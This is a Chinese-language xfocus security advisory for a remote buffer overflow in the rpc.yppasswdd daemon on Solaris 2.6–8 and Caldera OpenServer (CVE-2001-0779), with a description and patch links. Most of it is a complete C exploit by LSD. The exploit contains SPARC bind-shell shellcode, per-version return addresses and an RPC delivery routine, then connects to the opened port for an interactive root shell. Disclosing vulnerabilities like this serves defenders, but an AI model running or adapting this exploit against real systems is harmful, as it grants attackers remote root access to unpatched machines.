xfocus logo xfocus title
 首页   焦点原创   安全文摘   安全工具   安全漏洞   焦点项目   焦点论坛   关于我们 
English Version

多个供应商中的rpc.yppasswdd守护进程存在远程缓冲溢出漏洞


发布时间:2001-05-10
更新时间:2001-05-10
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:2763
CVE(CAN) ID:CVE-2001-0779

受影响系统
Caldera OpenServer 5.0.5
Caldera OpenServer 5.0.6
Sun Solaris 2.6 _x86
Sun Solaris 2.6
Sun Solaris 7.0 _x86
Sun Solaris 7.0
Sun Solaris 8.0 _x86
Sun Solaris 8.0
详细描述
rpc.yppasswdd是一款UNIX操作系统下用于从yppasswd接收改变口令的请求而修改NIS口令文件的守护程序。

Solaris和Caldera OpenServer操作系统在rpc.yppasswdd实现上存在漏洞,可以导致缓冲溢出,问题是由于YPPASSWDPROC_UPDATE过程调用没有很好的检查用户提交的用户名长度,可以ROOT权限在系统上执行任意代码。

测试代码
/*## copyright LAST STAGE OF DELIRIUM jun 2001 poland        *://lsd-pl.net/ #*/
/*## rpc.yppasswdd                                                           #*/

/* the effectiveness of this code may be limited in some environments due to  */
/* the very small size of the overflowing buffer (it cannot be extended in    */
/* such a simple way). the offsets were tested only on ultras, therefore the  */
/* code may not work properly on older sparc architecture as well.            */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define YPPASSWD_PROG 100009
#define YPPASSWD_VERS 1
#define YPPASSWD_UPDATE 1

#define NOPNUM  432
#define ADRNUM  200

char bindsckcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <bindsckcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <bindsckcode>          */
    "\x7f\xff\xff\xff"     /* call    <bindsckcode+4>        */
    "\x33\x02\x12\x34"
    "\x90\x10\x20\x02"     /* mov     0x02,%o0               */
    "\x92\x10\x20\x02"     /* mov     0x02,%o1               */
    "\x94\x08\x20\x01"     /* and     %g0,1,%o2              */
    "\x96\x08\x20\x01"     /* and     %g0,1,%o3              */
    "\x98\x10\x20\x01"     /* mov     0x01,%o4               */
    "\x82\x10\x20\xe6"     /* mov     0xe6,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "\xa2\x22\x3f\xff"     /* sub     %o0,-1,%l1             */
    "\xc0\x23\xe0\x08"     /* st      %g0,[%o7+8]            */
    "\x92\x03\xe0\x04"     /* add     %o7,4,%o1              */
    "\x94\x10\x20\x10"     /* mov     0x10,%o2               */
    "\x96\x10\x20\x02"     /* mov     0x02,%o3               */
    "\x82\x10\x20\xe8"     /* mov     0xe8,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "\x90\x04\x7f\xff"     /* add     %l1,-1,%o0             */
    "\x92\x10\x20\x05"     /* mov     0x05,%o1               */
    "\x82\x10\x20\xe9"     /* mov     0xe9,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "\x90\x04\x7f\xff"     /* add     %l1,-1,%o0             */
    "\x92\x08\x20\x01"     /* and     %g0,1,%o1              */
    "\x94\x08\x20\x01"     /* and     %g0,1,%o2              */
    "\x82\x10\x20\xea"     /* mov     0xea,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "\xa6\x10\x20\x03"     /* mov     0x03,%l3               */
    "\x92\x10\x20\x09"     /* mov     0x09,%o1               */
    "\x94\x04\xff\xff"     /* add     %l3,-1,%o2             */
    "\x82\x10\x20\x3e"     /* mov     0x3e,%g1               */
    "\xa6\x84\xff\xff"     /* addcc   %l3,-1,%l3             */
    "\x12\xbf\xff\xfc"     /* bne     <bindsckcode+112>      */
    "\x91\xd0\x20\x08"     /* ta      8                      */
;

char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>          */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>            */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>          */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0             */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1             */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]            */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]           */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]           */
    "\x82\x10\x20\x0b"     /* mov     0x0b,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "/bin/ksh"
;

static char nop[]="\x80\x1c\x40\x11";

typedef struct{char *oldpass;char *pw_name;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
    if(!xdr_string(xdrs,&objp->oldpass,~0)) return(FALSE);
    if(!xdr_string(xdrs,&objp->pw_name,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[10000],address[4],*b,*cmd;
    int i,c,n,bindport=-1,port=0,sck,srvsck,flag=0,vers=-1;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    fd_set readfs;
    req_t req;

    printf("copyright LAST STAGE OF DELIRIUM jun 2001 poland  //lsd-pl.net/\n");
    printf("rpc.yppasswdd for solaris 2.6 2.7 2.8 sparc\n");

    if(argc<2){
        printf("usage: %s address port [-p port] -v 6|7|8\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-2,&argv[2],"p:v:"))!=-1){
    switch(c){
    case 'p': port=atoi(optarg);break;
    case 'v': vers=atoi(optarg);
    }
    }
    if(!(bindport=atoi(argv[2]))||(vers==-1)) exit(-1);

    if(vers==6) *(unsigned long*)address=htonl(0xeffffd18);
    if(vers==7) *(unsigned long*)address=htonl(0xffbefc38);
    if(vers==8) *(unsigned long*)address=htonl(0xffbefb24);

    b=buffer;
    for(i=0;i<ADRNUM;i++) *b++=address[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    bindsckcode[14]=(unsigned char)((bindport&0xff00)>>8);
    bindsckcode[15]=(unsigned char)(bindport&0xff);
    for(i=0;i<strlen(bindsckcode);i++) *b++=bindsckcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    req.oldpass=NULL;
    req.pw_name=buffer;

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
    if((hp=gethostbyname(argv[1]))==NULL){
        errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
        }
    memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clntudp_create(&adr,YPPASSWD_PROG,YPPASSWD_VERS,tm,&sck))){
     clnt_pcreateerror("\nerror");exit(-1);
    }

    stat=clnt_call(cl,YPPASSWD_UPDATE,xdr_req,(void*)&req,xdr_void,NULL,tm);
    if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}
    printf("sent!\n");clnt_destroy(cl);close(sck);

    sck=socket(AF_INET,SOCK_STREAM,0);
    adr.sin_port=htons(bindport);
    sleep(1);
    if(connect(sck,(struct sockaddr*)&adr,sizeof(adr))<0){
    perror("error");exit(-1);
    }

    write(sck,"/bin/uname -a\n",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}

解决方案
补丁下载:

Caldera OpenServer 5.0.5:

Caldera Upgrade OpenServer yppasswd
ftp://stage.caldera.com/pub/security/openserver/CSSA-2002-SCO.19/

Caldera OpenServer 5.0.6:

Caldera Upgrade OpenServer yppasswd
ftp://stage.caldera.com/pub/security/openserver/CSSA-2002-SCO.19/


http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h
Sun Solaris 2.6 _x86:

Sun Patch 106304-03


Sun Solaris 2.6:

Sun Patch 106303-03


Sun Solaris 7.0 _x86:

Sun Patch 111591-02


Sun Solaris 7.0:

Sun Patch 111590-02


Sun Solaris 8.0 _x86:

Sun Patch 111597-02


Sun Solaris 8.0:

Sun Patch 111596-02

相关信息
参考:http://online.securityfocus.com/bid/2763
http://lsd-pl.net/files/get?SOLARIS/solsparc_rpc.yppasswdd